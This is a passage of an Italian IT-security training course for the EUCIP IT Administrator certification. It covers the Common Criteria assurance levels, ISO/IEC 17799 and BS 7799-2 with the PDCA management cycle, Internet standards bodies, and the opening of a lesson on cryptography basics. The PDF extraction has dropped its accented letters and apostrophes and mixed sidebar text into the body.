gurazione, linguaggi di programmazione, compilatori ec-
cetera), la documentazione operativa (guida utente e ma-
nuale di amministrazione) e lambiente operativo (distri-
buzione, configurazione, installazione e utilizzo).
LITSEC ha tentato di fornire un approccio pi flessibile
del rigido TCSEC, di separare funzionalit e garanzia e di
consentire la valutazione di interi sistemi. La flessibilit ha
per portato con s la complessit, perch i valutatori pos-
sono mescolare e abbinare le valutazioni di funzionalit e
garanzia, facendo proliferare le classificazioni e rendendo
il processo tortuoso.
I tempi erano maturi per tentare un approccio pi effi-
cace e unificato tra aree geografiche. Nel 1990 lISO rico-
nobbe lesigenza di criteri standard di valutazione di ap-
plicabilit globale. Il progetto Common Criteria inizi nel
1993 quando diverse organizzazioni si associarono per
combinare e allineare i criteri di valutazione esistenti ed
emergenti: TCSEC, ITSEC, il canadese CTCPEC (Canadian
Trusted Computer Product Evaluation Criteria) e i criteri fe-
derali USA. Il progetto fu sviluppato attraverso la collabo-
razione degli enti nazionali di standardizzazione di Stati
Uniti, Canada, Francia, Germania, Regno Unito e Olanda. I
benefici di questo sforzo comune comprendono la ridu-
zione della complessit del sistema di valutazione, la di-
sponibilit di un unico linguaggio per le definizioni e per i
livelli di sicurezza e, a beneficio dei produttori, luso di un
unico insieme di requisiti per vendere i prodotti sul mer-
cato internazionale.
La versione 1.0 dei Common Criteria stata completata
nel gennaio 1996. Sulla base di approfondite prove, valuta-
zioni e reazioni del pubblico, la versione 1.0 sub unestesa
revisione e diede vita alla versione 2.0 dellaprile 1998, che
divenne lo standard ISO 15408 nel 1999. Il progetto ha in se-
guito incorporato modifiche di lieve entit che hanno pro-
dotto la versione 2.1 dellagosto 1999. Oggi la comunit in-
ternazionale ha adottato i CC attraverso il Common Criteria
Recognition Arrangement, un accordo in base al quale i fir-
matari concordano nellaccettare i risultati delle valutazio-
ni CC eseguite da altri membri della CCRA.
La flessibilit dellapproccio dei Common Criteria sta
nel fatto che un prodotto valutato a fronte di un certo
profilo di protezione, strutturato in modo da soddisfare
specifici requisiti di protezione. Rispetto allITSEC, di cui
conserva molti aspetti, come la separazione tra funziona-
lit e garanzia, i Common Criteria forniscono cataloghi di
funzionalit e requisiti di garanzia che rendono pi formale
e ripetibile la compilazione del Security Target. Alla valu-
tazione di un prodotto viene assegnato un Evaluation As-
surance Level (EAL) che va da 1 a 7 (massima garanzia). La
completezza e il rigore dei test crescono con il livello di ga-
ranzia assegnato. I sette livelli hanno questi significati:
EAL1 testato funzionalmente
EAL2 testato strutturalmente
EAL3 testato e verificato metodicamente
EAL4 progettato, testato e riveduto metodicamente
EAL5 progettato e testato in modo semi-formale
EAL6 verifica del progetto e testing semi-formali
EAL7 verifica del progetto e testing formali
Il sistema Common Criteria utilizza i protection profile
per la valutazione dei prodotti. Il protection profile con-
tiene linsieme di requisiti di sicurezza, il loro significato e
le ragioni per cui sono necessari, oltre che il livello EAL
che il prodotto deve soddisfare. Il profilo descrive le con-
dizioni ambientali, gli obiettivi e il livello previsto per la va-
lutazione della funzionalit e della garanzia. Viene elenca-
ta ogni vulnerabilit e come devessere controllata da spe-
cifici obiettivi di sicurezza. Inoltre il documento fornisce le
motivazioni per il livello di garanzia e la robustezza dei
meccanismi di protezione.
Nella struttura del sistema Common Criteria, il protec-
tion profile descrive la necessit di una specifica soluzio-
ne di sicurezza, che linput per il prodotto da valutare
(TOE). Il TOE il prodotto proposto per fornire la solu-
zione alle esigenze di sicurezza. Il security target scritto
dal produttore e spiega le funzionalit di sicurezza e i mec-
canismi di garanzia che soddisfano i requisiti di sicurezza.
I Security Functionality Requirements e i Security Assu-
rance Requirements formano dei componenti (package)
riutilizzabili che descrivono gli insiemi dei requisiti di fun-
zionalit e di garanzia da soddisfare per ottenere lo speci-
fico EAL a cui il produttore aspira. Questi documenti di re-
quisiti sono indipendenti dalle tecnologie con cui vengono
realizzati i prodotti.
Lutilizzo di prodotti certificati, oltre a rispondere a re-
quisiti formali di approvvigionamento, offre numerosi be-
nefici, tra cui la disponibilit di un documento di specifi-
www.pcopen.it 17
Lezione 1 IT Administrator - Sicurezza informatica
che di sicurezza formalizzate (il security target) conte-
nente la descrizione delle minacce che il prodotto in gra-
do di contrastare e lesistenza di test e verifiche effettua-
te, secondo metodologie documentate, da un ente indi-
pendente. Le pubblicazioni relative ai Common Criteria so-
no inoltre di ausilio per tenere conto dei requisiti di fun-
zionalit e di garanzia nella progettazione di sistemi infor-
matici con requisiti di sicurezza, anche se non sintende
sottoporli al processo di certificazione.
Riferimenti:
csrc.nist.gov/cc, www.rycombe.com/cc.htm,
www.clusit.it/whitepapers/iso15408-1.pdf,
www.clusit.it/whitepapers/iso15408-2.pdf e
www.clusit.it/whitepapers/iso15408-3.pdf
Le norme sul sistema
di gestione della sicurezza
Gli sviluppi normativi nel campo dei sistemi di gestione
della sicurezza delle informazioni sono avvenuti in tempi
pi recenti rispetto allevoluzione dei criteri di valutazione
della garanzia (come TCSEC, ITSEC e Common Criteria) e
dei sistemi di gestione della qualit (come ISO 9000).
ISO/IEC ha pubblicato, tra il 1996 e il 2001, una serie di
cinque documenti (ISO/IEC TR 13335), la cui sigla TR (te-
chnical report) indica che si tratta di linee guida del tipo be-
st practice (modalit operative consigliate), non di specifi-
che formali. Questi documenti sono una possibile alterna-
tiva alla coppia ISO/IEC 17799 - BS 7799 di fonte britannica.
Le cinque parti della serie TR 13335 sono le seguenti:
- Parte 1: Concepts and models for IT security. Il primo do-
cumento fornisce una panoramica dei concetti re-
lativi alla sicurezza delle informazioni e dei mo-
delli che unorganizzazione pu utilizzare per de-
finire la propria sicurezza IT.
- Parte 2: Managing and planning IT security. Questo do-
cumento si occupa degli aspetti di pianificazione
e di gestione della sicurezza delle informazioni.
- Parte 3: Techniques for the management of IT security.
Questo documento si occupa delle attivit di ma-
nagement che sono direttamente legate al ciclo di
vita dei progetti: pianificazione, progettazione,
implementazione, testing eccetera.
- Parte 4: Selection of safeguards. In parte complementare
alla parte 3, descrive la selezione delle contromi-
sure e limportanza e la modalit dimpiego dei
modelli di sicurezza di base e delle verifiche.
- Parte 5: Management guidance on network security.
Questo documento fornisce linee guida sulle co-
municazioni e sulle reti, in particolare lanalisi dei
fattori che devono essere presi in considerazione
per definire requisiti di sicurezza e contromisure
appropriati. Inoltre fornisce un approccio alla de-
finizione dei livelli di fiducia basato sulla valuta-
zione del rischio.
Le linee guida BS 7799, oggi ISO/IEC 17799 e BS 7799-2,
hanno una storia che risale agli inizi degli anni 90, quan-
do il Dipartment of Trade and Industry britannico istitu
un gruppo di lavoro con lintento di fornire alle aziende li-
nee guida per la gestione della sicurezza delle informa-
zioni. Nel 1993 questo gruppo pubblic il Code of practice
for information security management, un insieme di buone
regole di comportamento per la sicurezza delle informa-
zioni. Questo costitu la base per lo standard BS 7799 pub-
blicato da BSI (British Standards Institution) nel 1995 e no-
to come Code of Practice. Nel 1998 BSI aggiunse la secon-
da parte, Specification for Information Security Manage-
ment, che fu sottoposta a revisione e ripubblicata nel
1999. Il Code of Practice fu sottoposto a ISO/IEC per esse-
re approvato come standard internazionale, una volta nel
1995 senza successo e in seguito di nuovo nel 1999 con
esito positivo. Il BS 7799 Parte 1 stato quindi recepito
come ISO/IEC 17799. La sua edizione del 2000 in corso di
aggiornamento nel 2005. La seconda parte, BS 7799-2,
stata aggiornata nel 2002.
LISO/IEC 17799 presenta una serie di linee guida e di
raccomandazioni compilata a seguito di consultazioni con
le grandi aziende. I 36 obiettivi e le 127 verifiche di sicu-
rezza contenuti nel documento sono suddivisi in 10 aree,
o domini, riportati nel riquadro A, II dieci domini formano
una piramide che scende dalla prospettiva organizzativa
(1, 2, 3, 4, 9, 10) verso quella operativa (6, 7, 8), con inclusi
gli aspetti tecnici (5).
Le verifiche di sicurezza ulteriormente dettagliate nel
documento, portano a oltre 500 il numero di controlli ed
elementi di best practice dellISO/IEC 17799. Il documen-
to sottolinea limportanza della gestione del rischio e
chiarisce che non indispensabile implementare ogni sin-
gola linea guida, ma solo quelle che sono rilevanti. Lo
standard copre tutte le forme dinformazione, incluse la
voce, la grafica e i media come fax e cellulari. Esso rico-
nosce anche i nuovi metodi di business, come le-com-
Riquadro A - Le dieci aree delle linee guida dello standard ISO/IEC 17799
1. Security Policy. Fornire le linee guida e i consigli per la gestione, allo scopo di migliorare la sicurezza delle
informazioni
2. Organizational Security. Facilitare la gestione della sicurezza delle informazioni allinterno
dellorganizzazione.
3. Asset Classification and Control. Eseguire un inventario dei beni e proteggerli efficacemente.
4. Personnel Security. Minimizzare i rischi di errore umano, furto, frode o uso illecito delle attrezzature.
5. Physical and Environment Security. Prevenire la violazione, il deterioramento o la distruzione delle attrezzature
industriali e dei dati.
6. Communications and Operations Management. Assicurare il funzionamento adeguato e affidabile dei
dispositivi di elaborazione delle informazioni.
7. Access Control. Controllare laccesso alle informazioni.
8. Systems Development and Maintenance. Assicurare che la sicurezza sia incorporata nei sistemi informativi.
9. Business Continuity Management. Minimizzare limpatto delle interruzioni dellattivit aziendale e proteggere
da avarie e gravi disastri i processi aziendali essenziali.
10. Compliance. Evitare ogni violazione delle leggi civili e penali, dei requisiti statutari e contrattuali e dei requisiti
di sicurezza.
www.pcopen.it 18
ITAdministrator - Sicurezza informatica Lezione 1
merce, Internet, loutsourcing, il telelevoro e il mobile
computing.
Mentre lISO/IEC 17799 fornisce le linee guida, gli aspet-
ti di sicurezza e le buone norme da applicare, in s suffi-
cienti per unazienda medio-piccola, lo standard BS 7799-
2 fornisce le direttive per istituire un sistema di gestione
della sicurezza delle informazioni (SGSI in italiano o ISMS,
Information Security Management System, nella lettera-
tura) da sottoporre alla certificazione di un ente accredi-
tato. Lapplicazione del BS 7799-2 permette allazienda di
dimostrare ai suoi partner che il proprio sistema di sicu-
rezza conforme allo standard e risponde alle esigenze di
sicurezza determinate dai propri requisiti.
Unorganizzazione che ottiene la certificazione con-
siderata conforme ISO/IEC 17799 e certificata BS 7799-2.
Laggiornamento del 2002 del BS 7799-2 ha introdotto
varie modifiche suggerite dallesigenza di dare continuit
al processo di gestione della sicurezza. Il modello di ISMS
definito dallo standard comprende quattro fasi in un
loop ciclico, analogo a quello dellISO 9001.
Il modello detto PDCA dalle iniziali delle quattro fasi:
Plan (pianifica: la definizione dellISMS), Do (esegui: lim-
plementazione e utilizzo dellISMS), Check (verifica: i
controlli e le revisioni dellISMS) e Act (agisci: la manu-
tenzione e miglioramento dellISMS).
Le quattro fasi dellInformation Security
Management System
Plan:
1. la definizione dellambito di applicazione dellISMS
2. la definizione di una politica di sicurezza di alto livello
3. la definizione di un approccio sistematico per lanalisi
del rischio
4. lidentificazione dei rischi
5. la valutazione dei rischi
6. lidentificazione delle opzioni per il trattamento dei rischi
(eliminazione, cessione e riduzione)
7. la selezione delle contromisure per il controllo dei rischi
8. la redazione della dichiarazione di applicabilit, com-
prendente lesplicitazione delle ragioni che hanno por-
tato alla selezione delle contromisure e alla non applica-
zione di misure indicate nellappendice A della norma.
Do:
1. la formulazione di un piano di trattamento dei rischi
2. limplementazione del piano
3. limplementazione delle contromisure selezionate
4. lo svolgimento di programmi dinformazione e di forma-
zione
5. la gestione delle operazioni connesse alla fase Do
6. la gestione delle risorse connesse alla fase Do
7. limplementazione di procedure e altre misure che assi-
curino la rilevazione e le opportune azioni in caso di in-
cidenti relativi alla sicurezza
Check:
1. lesecuzione delle procedure di monitoraggio dellISMS
2. lesecuzione di revisioni del rischio residuo
3. la conduzione di audit interni allISMS
4. la conduzione di review al massimo livello dirigenziale
dellISMS
5. la registrazione delle azioni e degli eventi che potrebbe-
ro avere impatti sulla sicurezza o sulle prestazioni dellI-
SMS
Act:
1. limplementazione delle azioni migliorative dellISMS
identificate
2. limplementazione delle azioni correttive e preventive
3. la comunicazione dei risultati
4. la verifica che i miglioramenti raggiungano gli obiettivi
identificati alla loro base.
Lappendice A della norma BS 7799-2 del 2002 include una
serie di misure per il controllo del rischio suddivise in 10
capitoli, gli stessi delle 10 aree sopra elencate per lISO/IEC
17799.
Naturalmente, la conformit allISO/IEC 17799 o la cer-
tificazione BS 7799-2 non implicano che unorganizzazio-
ne sia sicura al 100%, un obiettivo peraltro irraggiungibi-
le. Tuttavia, ladozione di questo standard, apprezzato a
livello internazionale, offre diversi vantaggi a livello orga-
nizzativo (efficacia dello sforzo di sicurezza a tutti i livel-
li, diligenza degli amministratori), a livello legale (osser-
vanza di leggi e regolamenti), a livello operativo (gestione
del rischio, qualit di hardware e dati), a livello commer-
ciale (distinzione dalla concorrenza, partecipazione a ga-
re), a livello finanziario (costo delle violazioni, costi assi-
curativi) e a livello umano (consapevolezza e responsa-
bilit del personale). La popolarit della coppia ISO/IEC
17799 e BS 7799-2 dovuta in parte alla sua flessibilit e al-
la sua complementarit con altri standard di sicurezza IT.
Mentre lISO/IEC 17799 delinea le migliori pratiche per la
gestione della sicurezza delle informazioni, lISO 13335
(Guideline for the Management of IT Security, GMITS) pu
essere visto come il suo fratello maggiore, con laggiunta
di aspetti tecnologici e unestensione della gestione del ri-
schio. C forte complementarit anche tra lISO/IEC
17799 e lISO 15408, ossia i Common Criteria. Mentre il pri-
mo si focalizza pi sugli aspetti organizzativi e ammini-
strativi, il secondo copre gli aspetti tecnici della sicurez-
za. Ulteriori relazioni si possono individuare tra questi
standard e gli standard ISO 18044 (Incident Management),
ISO 17944 (Financial Systems), ISO 18028 (Communica-
tions Management) e ISO 14516 (E-commerce Security). Il
BS 7799-2 del 2002 anche armonizzato con lISO
9001:2000 (Vision 2000) e lISO 14001:1996.
DO
(ESEGUI)
PLAN
(PIANIFICA)
CHECK
(VERIFICA)
ACT
(AGISCI)
Definire la portata
dellISMS
Definire una politica
ISMS
Definire un approccio
allanalisi del rischio
Identificare i rischi
Analizzare i rischi
Identificare e valutare
le opzioni per la
gestione del rischio
Scegliere i controlli
e loro obiettivi
Preparare uno
Statement of
Applicabilit (SOA)
Attuare i miglioramenti
identificati
Intraprendere azioni
correttive/preventive
Applicare le lezioni
apprese (incluse altre
organizzazioni)
Comunicare i risultati
alle parti interessate
Assicurarsi che i
miglioramenti
raggiungano lobiettivo
Eseguire procedure
di monitoraggio
Eseguire revisioni
regolari dellefficacia
dellISMS
Livello di revisione
sul rischio residuo
e accettabile
Eseguire audit interne
dellISMS
Registrare eventi
e avvenimenti che
potrebbero impattare
sullISMS
Formulare un piano di
gestione del rischio
Attuare il piano di
gestione del rischio
Attuare i controlli
Attuare programmi
di addestramento
e consapevolezza
Gestire le attivit
Gestire le risorse
Attuare procedure per
individuare/rispondere
agli incidenti di
sicurezza
1
2
3
4
Le quattro fasi
dellInformation Security
Management System
www.pcopen.it 19
Lezione 1 IT Administrator - Sicurezza informatica
Il processo di standardizzazione
di Internet
Quello che segue un elenco di alcune delle organiz-
zazioni pi importanti che operano nellinteresse dellin-
tera comunit di Internet e dei suoi standard.
Internet Society ISOC (www.isoc.org)
Unorganizzazione privata senza fini di lucro che riuni-
sce professionisti nel mondo del networking e che ha la
missione di garantire il continuo funzionamento di Inter-
net e il suo potenziamento. Opera attraverso una serie di
comitati tecnici che definiscono gli standard e i protocol-
li utilizzati da qualsiasi apparecchiatura che si collega a
Internet (IETF, IESG, IAB, IRTF). LISOC fornisce la leader-
ship nella gestione di Internet per quanto riguarda gli
standard, listruzione e lo sviluppo della politica ammini-
strativa.
IETF (Internet Engineering Task Force, www.ietf.org)
la comunit internazionale dei progettisti, operatori,
produttori, e ricercatori nel campo del networking, inte-
ressati allevoluzione dellarchitettura di Internet e della
sua continuit e affidabilit di funzionamento. Sviluppa
standard tecnici su base consensuale, per esempio in re-
lazione ai protocolli di comunicazione.
IESG
(Internet Engineering task Group, www.ietf.org/iesg.html)
Lo IESG responsabile della gestione tecnica delle at-
tivit dellIETF e del processo di standardizzazione di In-
ternet. Come parte dellISOC, amministra tale processo
secondo le regole e le procedure che sono state ratificate
dai fiduciari dellISOC. Lo IESG direttamente responsa-
bile delle azioni associate allavvio e alla prosecuzione
delliter di standardizzazione, inclusa lapprovazione fi-
nale delle specifiche come Standard Internet. Lo IESG
coordina e approva gli standard tecnici.
IAB (Internet Architecture Board, www.iab.org)
Lo IAB un gruppo tecnico consultivo della Internet
Society, responsabile della selezione dello IESG, della su-
pervisione dellarchitettura, della supervisione del pro-
cesso di standardizzazione e della procedura di appello,
della serie delle RFC (Request For Comment), dei colle-
gamenti esterni e di consiglio allISOC.
IRTF (Internet Research Task Force, www.irtf.org)
La missione dellIRTF consiste nel promuovere attivit
di ricerca che possano contribuire in modo significativo al
futuro sviluppo di Internet. Opera creando gruppi di ri-
cerca focalizzati sui seguenti temi: protocolli, applicazio-
ni, architettura e tecnologia.
ICANN(Internet Corporation for Assigned Names and Num-
bers, www.icann.org)
lazienda non-profit che fu creata per assumere la re-
sponsabilit dellattribuzione degli spazi dindirizzamen-
to IP, dellassegnazione dei parametri dei protocolli, della
gestione del sistema dei domini e della gestione del siste-
ma dei server root, funzioni che in precedenza erano ese-
guite, sotto contratto con il governo USA, dalla IANA e da
altre entit. lautorit per lassegnazione dei nomi di do-
minio a livello globale.
IANA
(Internet Assigned Numbers Authority, www.iana.org)
La IANA mantiene le funzioni di coordinamento cen-
trale dellInternet globale nel pubblico interesse. La IANA
custodisce i numerosi parametri e valori di protocollo uni-
ci necessari per il funzionamento di Internet e per il suo
sviluppo futuro.
Il processo di definizione degli Standard Internet
unattivit della Internet Society, che organizzata e ge-
stita per conto della comunit Internet dallo IAB e dallo IE-
SG. Comprende una serie di passi e di attivit che produ-
cono come risultato gli standard dei protocolli e delle pro-
cedure.
Uno Standard Internet una specifica stabile e ben
compresa, scritto con competenza tecnica, conta di-
verse implementazioni indipendenti e interoperabili con
sostanziale esperienza operativa, gode di un supporto
pubblico significativo e la sua utilit riconosciuta in tut-
ta Internet o in parti di essa - RFC 2026, 1996.
Per essere adottata come standard, una specifica sot-
toposta a un periodo di sviluppo e a numerose iterazioni
di revisione da parte della comunit di Internet e a un esa-
me basato sullesperienza.
Per prima cosa, una specifica diventa un documento
RFC. Non tutte le RFC diventano Standard Internet. Poi, se
la RFC diventa uno standard, viene adottata dallente ap-
propriato ed resa disponibile al pubblico quale stan-
dard. Il processo di standardizzazione attraversa i se-
guenti stadi di sviluppo, collaudo e accettazione.
Proposta di standard
(almeno sei mesi)
- generalmente stabile
- scelte di progettazione risolte
- sembra godere di sufficiente interesse della comunit
per essere considerato valido
Bozza di standard
(almeno quattro mesi dallapprovazione della riunione
IETF
- ben capito
- ottenuta una sufficiente esperienza operativa
Standard
(fino a una successiva revisione o sostituzione)
- ottenuta unimplementazione significativa e unespe-
rienza operativa positiva
- alto grado di maturit tecnica
- fornisce benefici di rilievo alla comunit Internet
Protection profile
Target of
evaluation
Security Target
Richiesta di una
specifica soluzione
Il prodotto
Descrizione delle componenti
di funzionalit e garanzia offerta
dal produttore
Requisiti
di funzionalit
Requisiti
di garanzia
Famiglie differenti
di classi di requisiti
Verifica e valutazione del
prodotto rispetto alle specifiche
dichiarate
Valutazione
Assegnazione di
un livello
di garanzia
Relazione fra componenti differenti
Le fasi del ciclo di
certificazione
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.4 conoscere
il processo di
standardizzazione
di Internet.
www.pcopen.it 20
ITAdministrator - Sicurezza informatica
L
e reti di computer, soprattutto attraverso Internet, han-
no reso possibile la rapida e facile comunicazione tra
utenti oltre che tra aziende e compratori. Con 285 mi-
lioni di siti attivi (ottobre 2004) e oltre 800 milioni di uten-
ti (febbraio 2005), gli scambi commerciali e le transazioni
economiche che avvengono su Internet hanno raggiunto
un volume ingente e sono in forte crescita, favoriti dalla
progressiva fiducia nella sicurezza delle operazioni.
Lassenza del contatto personale e dello scambio di do-
cumenti cartacei intestati e firmati, richiede strumenti so-
stitutivi per identificare gli interlocutori, per mantenere la
riservatezza e lintegrit delle informazioni scambiate e per
conferire validit legale alla transazione, in modo che non
possa essere disconosciuta (oppure, come si suol dire, ri-
pudiata) dalla parte che contrae limpegno (o in generale
da tutte le parti in gioco).
In pratica, gli strumenti e le procedure della sicurezza
informatica hanno il compito di fornire agli utenti (individui
e organizzazioni) lo stesso livello di fiducia che provano
quando eseguono lo stesso tipo di operazioni con i metodi
tradizionali e le firme autografe. Nella lezione precedente
abbiamo trattato dellanalisi del rischio, una fase essenzia-
le del programma di sicurezza, dove si considerano le pro-
babilit di attuazione delle minacce e la gravit del loro im-
patto per selezionare le contromisure da mettere in campo.
Si tratta di un approccio fondamentalmente difensivo o
passivo, che valuta quali rischi accettare, quali delegare a
terzi e quali controllare, riducendoli o azzerandoli.
Nella presente lezione ci occupiamo invece di sicurezza
attiva, ossia delle misure di sicurezza che proteggono le
informazioni in modo proattivo, in modo cio da anticipa-
re e neutralizzare i problemi futuri. Questo viene ottenuto
non solo impedendo agli estranei di accedere alle informa-
zioni (sicurezza passiva o difensiva), ma rendendo le infor-
mazioni intrinsecamente sicure a livello applicativo, pro-
teggendone la riservatezza (confidentiality, chiamata an-
che confidenzialit), lintegrit e lautenticit. Vedremo
che le tecniche crittografiche permettono 1) di trasforma-
re dati, informazioni e messaggi in modo da nasconderne il
contenuto a chiunque non sia autorizzato e attrezzato per
prenderne visione, 2) di impedire a estranei di alterare i da-
ti, segnalando qualunque tentativo in tal senso e 3) di ga-
rantire lautenticit dei dati, associandoli in modo certo al
loro proprietario, impedendo allo stesso tempo che il mit-
tente di un messaggio possa ripudiarne la paternit.
Prosegue il primo corso di taglio professionale destinato al
conseguimento della certificazione ufficiale, EUCIP IT
Administrator Sicurezza Informatica, valida in tutta Europa.
La seconda lezione esplora tutti i principali algoritmi e standard
di crittografia utilizzati per garantire riservatezza, lintegrit e
lautenticit dei documenti. Anche in questo caso i contenuti si
articolano in tre elementi:
un articolo sulla rivista,
un articolo, molto pi esteso
in formato PDF e un corso
multimediale completo su CD
e DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi.
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.2.1. Concetti
generali
5.2.1.1 Basi della
crittografia
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: parte 1Crittografia -
fondamenti e algoritmi
Lezione 2: parte 2Crittografia -
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
Lezione 4: Disponibilit
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
In collaborazione
con:
Concetti e algoritmi di crittografia
Scopriamo
i fondamenti e le
tecniche di crittografia
Lezione 2 IT Administrator - Sicurezza informatica
www.pcopen.it 21
Per meglio apprezzare i vantaggi della sicurezza attiva,
proviamo a immaginare cosa accadrebbe a un messaggio
confidenziale che venisse inviato su Internet. Sul computer
di partenza, il messaggio, contenuto nellarchivio della po-
sta elettronica, sarebbe leggibile da chiunque si procuras-
se laccesso al computer, unoperazione relativamente fa-
cile dallinterno dellorganizzazione e non impossibile dal-
lesterno se mancano le opportune difese. Nel momento in
cui il messaggio viene spedito, attraversa la rete locale in-
terna (dove pu essere intercettato tramite analizzatori di
rete, packet sniffer e altri strumenti per intercettare i pac-
chetti), esce dalledificio, raggiunge la centrale del gestore
di telecomunicazioni, viene instradato verso il sito che
ospita il server di e-mail e qui staziona in una casella po-
stale in attesa di essere prelevato. Una volta prelevato, se-
condo i casi, viene cancellato o meno dal server e viene
comunque trasferito sul computer del destinatario, nel-
larchivio personale di posta elettronica. Durante il per-
corso, il messaggio intercettabile dagli organismi di sicu-
rezza nazionali (di solito su mandato della magistratura) e,
se fosse per qualche verso appetibile, anche da agenzie di
sicurezza che non chiedono permessi. Inoltre, se il mes-
saggio contenesse informazioni preziose per nemici, con-
correnti e specialisti di furto e ricatto, lungo il suo percor-
so, dal computer di origine a quello di destinazione, po-
trebbe trovare in agguato hacker, dispositivi di rilevamen-
to o individui che, mediante tecniche di social engineering,
si procurano i file da chi ha o pu procurare (anche incon-
sapevolmente) il diritto di accesso. Il social engineering, nel
campo della sicurezza informatica, la pratica di manipo-
lare ad arte le persone per indurle a compiere azioni (come
lesecuzione di software maligno) oppure a rivelare infor-
mazioni (come le password) utili a ottenere accesso a dati
e risorse. Si comprende la complementarit della difesa
passiva e di quella attiva con un esempio. Supponiamo che
su un computer siano installati sistemi crittografici che
proteggono i documenti dal momento in cui sono archiviati
localmente in poi (trasmissione, prelievo dal mail server e
archiviazione sul computer di destinazione). Supponiamo
al tempo stesso che, per carenza di sicurezza difensiva, un
malintenzionato convinca lutente a eseguire unapplica-
zione particolarmente interessante o divertente, che in
realt installa un key logger, cio un registratore dellinput
di tastiera, salvato in un file che potr essere prelevato se-
gretamente attraverso Internet, anche tramite e-mail. In
questo scenario, i documenti sono crittografati e ben pro-
tetti come tali, ma il loro contenuto stato intercettato a
monte e viene trasmesso allesterno.
La crittografia
La parola crittografia deriva dal greco krypts (nasco-
sto) e graphein (scrivere). Lutilizzo della scrittura nasco-
sta, come accennato nella prima lezione, risponde da mil-
lenni allesigenza di mantenere riservate o segrete certe ca-
tegorie di comunicazioni, a partire da quelle militari. La
crittografia non studia come nascondere un messaggio (di
cui si occupano altre tecniche, come la steganografia che
deriva dal greco stganos rendo occulto, nascondo), ben-
s come nascondere il significato o contenuto di un mes-
saggio (o di un documento) in modo che risulti compren-
sibile solo al destinatario stabilito dal mittente.
Il mittente di un messaggio prende il testo originale, det-
to testo in chiaro, lo sottopone a unoperazione di cifratura
e ottiene il testo cifrato. Il destinatario esegue unoperazio-
ne di decifratura per ricostruire il messaggio originale. Per
semplicit, e per assonanza con i termini in lingua inglese
(plaintext e ciphertext), parliamo spesso di testo, inten-
dendo che documenti e messaggi possono contenere anche
immagini, sequenze audio/video, dati binari eccetera.
Il metodo utilizzato per cifrare il messaggio detto al-
goritmo di crittografia o cifrario.
Un esempio di algoritmo la sostituzione di ogni lettera
con la lettera che si trova tre posizioni pi avanti nellalfa-
beto ed noto come cifrario di Cesare. Nella moderna crit-
tografia un cifrario prevede luso di una chiave di cifratura,
una sequenza di caratteri di lunghezza massima stabilita
che governa il funzionamento dellalgoritmo. Lalgoritmo
esegue una serie di trasformazioni dal testo in chiaro al te-
sto cifrato: la chiave determina lentit delle sostituzioni,
trasposizioni e altre operazioni che formano lalgoritmo,
cos che, al variare della chiave, cambia il testo cifrato.
Idealmente, per un dato testo in chiaro e per un dato algo-
ritmo di cifratura, chiavi diverse generano sempre testi ci-
frati diversi.
Lalgoritmo definisce anche le regole con cui il testo ci-
frato viene ritrasformato nel testo in chiaro originale at-
traverso luso di una chiave di decifratura.
I moderni standard di crittografia si ispirano al Principio
di Kerchoff. Nel 1883, Auguste Kerchoff pubblic un arti-
colo in cui sosteneva che lunico aspetto segreto di un si-
stema crittografico dovrebbe essere la chiave. Kerchoff af-
fermava che lalgoritmo dovrebbe essere di pubblico do-
minio e che un sistema di sicurezza basato su troppi segreti
finisce con lessere pi vulnerabile. Questo punto di vista
condiviso dal settore privato, ma non necessariamente
dalle agenzie militari e governative, che amano creare i pro-
pri algoritmi mantenendoli segreti. Viceversa, solo ren-
dendo gli algoritmi ben noti che se ne possono scoprire le
eventuali debolezze e vulnerabilit e si possono confron-
tare le caratteristiche delle diverse soluzioni disponibili, in-
ventando una nuova generazione di cifrari quando comin-
ciano ad apparire le prime crepe in quelli consolidati.
Secondo il grado di sicurezza che si desidera ottenere,
esistono diversi algoritmi e diverse gestioni delle chiavi. La
lunghezza delle chiavi determina il numero di valori possi-
bili (che raddoppia a ogni bit aggiunto) e lo sforzo neces-
sario per ricostruire il messaggio in chiaro in assenza del-
la chiave. La lunghezza della chiave non un termine di pa-
ragone assoluto: secondo il tipo di algoritmo, varia la lun-
IT Administrator comprende sei moduli:
1 Hardware del PC (PC Hardware)
2 Sistemi operativi (Operating Systems)
3 Reti locali e servizi di rete (LAN and Network
Services)
4 Uso esperto delle reti (Network Expert Use)
5 Sicurezza informatica (IT Security)
6 Progettazione reti (Network Design)
Largomento di questo corso il modulo 5 della
certificazione EUCIP IT Administrator, dedicato
espressamente alla sicurezza informatica. Il modulo
5 garantisce comunque il diritto a una certificazione
a s stante.
Sul CD Guida 3 e sul DVD trovate un articolo
che spiega il modo per ottenere la certificazione.
Lelemento centrale della
crittografia il cifrario o
algoritmo di cifratura che
permette la
trasformazione del
contenuto di un
messaggio in modo che
non sia leggibile da
estranei
Il documento cifrato pu
essere ricostruito solo da
chi possiede il cifrario
adatto.
Nella cifratura
simmetrica la chiave
unica e viene condivisa da
mittente e destinatario,
perci va mantenuta
segreta. Per tale motivo
prende il nome di cifratura
a chiave segreta
ITAdministrator - Sicurezza informatica Lezione 2
ghezza di chiave considerata sicura nel contesto tecnolo-
gico corrente.
Quando la chiave di cifratura la stessa usata per la de-
cifratura, o possono essere derivate facilmente una dallal-
tra, si parla di crittografia simmetrica. In questo caso, sia il
mittente sia il destinatario concordano sullalgoritmo da
